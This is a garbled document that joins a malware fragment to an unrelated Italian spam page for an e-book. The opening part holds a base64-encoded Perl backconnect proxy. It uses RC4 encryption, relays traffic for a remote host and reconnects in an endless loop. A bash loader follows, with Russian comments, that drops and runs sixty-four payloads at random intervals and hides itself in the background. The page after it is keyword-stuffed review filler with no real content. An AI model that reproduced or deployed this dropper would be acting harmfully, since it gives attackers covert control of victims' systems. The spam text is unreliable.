KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } # Запуск полезной нагрузки с интервалами drop_and_run bin_0 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_1 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_2 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_3 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_4 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_5 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_6 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_7 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_8 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_9 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_10 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_11 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_12 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_13 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_14 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_15 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_16 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_17 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_18 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_19 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_20 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_21 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_22 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_23 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_24 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_25 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_26 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_27 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_28 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_29 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_30 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_31 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_32 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_33 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_34 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_35 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_36 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_37 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_38 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_39 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_40 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_41 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_42 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_43 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_44 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_45 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_46 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_47 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_48 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_49 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_50 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_51 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_52 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_53 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_54 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_55 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_56 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_57 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_58 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_59 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_60 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_61 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_62 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_63 sleep $(( 5 + RANDOM % 11 )) # Большая пауза перед следующим кругом проверки sleep $RESTART_INTERVAL done } # Отвязываем сам main_loop от текущей оболочки (main_loop >/dev/null 2>&1 &) exit 0 La filosofia della natura e confutazione del suo deismo e materialismo col poema di Aonio Paleario dell’immortalit degli animi dell’ abate Raffaele Pastore a sua eccellenza Carlo Grimani patrizio veneto. Vol 1 of 2 | E-book – Rosie’s Bites

Rosie’s Bites

La filosofia della natura e confutazione del suo deismo e materialismo col poema di Aonio Paleario dell’immortalit degli animi dell’ abate Raffaele Pastore a sua eccellenza Carlo Grimani patrizio veneto. Vol 1 of 2 | E-book

La filosofia della natura e confutazione del suo deismo e materialismo col poema di Aonio Paleario dell’immortalit degli animi dell’ abate Raffaele Pastore a sua eccellenza Carlo Grimani patrizio veneto. Vol 1 of 2 – Lucretius

Nonostante le sue pdf libro forze, la trama tortuosa del libro e i personaggi secondari poco sviluppati hanno impedito a questo libro di raggiungere il suo pieno potenziale. L’esperienza di leggere un libro La filosofia della natura e confutazione del suo deismo e materialismo col poema di Aonio Paleario dell’immortalit degli animi dell’ abate Raffaele Pastore a sua eccellenza Carlo Grimani patrizio veneto. Vol 1 of 2 questo è un promemoria del potere della letteratura di sfidare le nostre convinzioni, di farci vedere il mondo in una luce nuova e di ispirarci a pensare in modo diverso.

Per un fan di Disney, ebook gratis italiano libro è un sogno che si avvera. L’adattamento scritto del film live-action è un piacere da leggere e cattura la magia del film alla perfezione. La serie di libro italiano pdf “Pioneer Wilderness Romance Boxset” è un esempio di come una serie possa essere sia completa che accessibile, con ogni libro che offre una prospettiva unica sui personaggi e sul loro mondo.

I personaggi erano come vecchi amici, familiari e confortanti, ma libro online imperfetti e comprensibili, una commovente esplorazione della condizione umana che ha risuonato profondamente in me. Questo libro, come molti altri, è un tributo al potere duraturo della narrazione e all’impatto che può avere sulla nostra vita, e probabilmente sarà un’aggiunta preziosa La filosofia della natura e confutazione del suo deismo e materialismo col poema di Aonio Paleario dell’immortalit degli animi dell’ abate Raffaele Pastore a sua eccellenza Carlo Grimani patrizio veneto. Vol 1 of 2 collezione di qualsiasi appassionato di libri. Il viaggio dell’Uomo Musubi è un promemoria che a volte i personaggi più memorabili sono quelli che sfidano le aspettative. La trama era intricata, una complessa rete di relazioni e motivazioni che mi ha tenuto in suspense fino alla fine, rendendo la lettura emozionante e imprevedibile.

Versione eBook La filosofia della natura e confutazione del suo deismo e materialismo col poema di Aonio Paleario dell’immortalit degli animi dell’ abate Raffaele Pastore a sua eccellenza Carlo Grimani patrizio veneto. Vol 1 of 2

È stata una lettura La filosofia della natura e confutazione del suo deismo e materialismo col poema di Aonio Paleario dell’immortalit degli animi dell’ abate Raffaele Pastore a sua eccellenza Carlo Grimani patrizio veneto. Vol 1 of 2 commovente ed emotiva, che ha lasciato un’impressione duratura su di me e mi è rimasta impressa nella ebooks online a lungo dopo aver finito di leggere. È un po’ come guardare attraverso un caleidoscopio – i pezzi sono familiari, ma il modo in cui si incastrano è completamente nuovo e affascinante.

Mentre leggevo, mi sentivo come un viaggiatore in una terra straniera, navigando in scaricare sconosciuti, eppure, in qualche modo, ho La filosofia della natura e confutazione del suo deismo e materialismo col poema di Aonio Paleario dell’immortalit degli animi dell’ abate Raffaele Pastore a sua eccellenza Carlo Grimani patrizio veneto. Vol 1 of 2 un profondo senso di connessione con il mondo e i suoi abitanti. Questo libro è uno La filosofia della natura e confutazione del suo deismo e materialismo col poema di Aonio Paleario dell’immortalit degli animi dell’ abate Raffaele Pastore a sua eccellenza Carlo Grimani patrizio veneto. Vol 1 of 2 più innovativi che ho incontrato di recente. La creatività è sbalorditiva.

Nonostante l’inizio lento, il libro ha trovato infine il suo punto d’equilibrio emotivo, diventando una potente esplorazione del lutto, del trauma e della La filosofia della natura e confutazione del suo deismo e materialismo col poema di Aonio Paleario dell’immortalit degli animi dell’ abate Raffaele Pastore a sua eccellenza Carlo Grimani patrizio veneto. Vol 1 of 2 un promemoria commovente della capacità leggere ebook di amore, compassione e empatia. Sebbene non funzionasse sempre, l’ambizione e la creatività del libro erano ammirevoli, rendendolo una lettura online anche se non sempre riuscita. Nel mondo della letteratura, ci sono innumerevoli esempi di libri che hanno catturato i cuori dei lettori e lasciato un impatto duraturo, e questo libro è certamente un degno aggiunta a quella lista.

Lucretius ebook online gratis

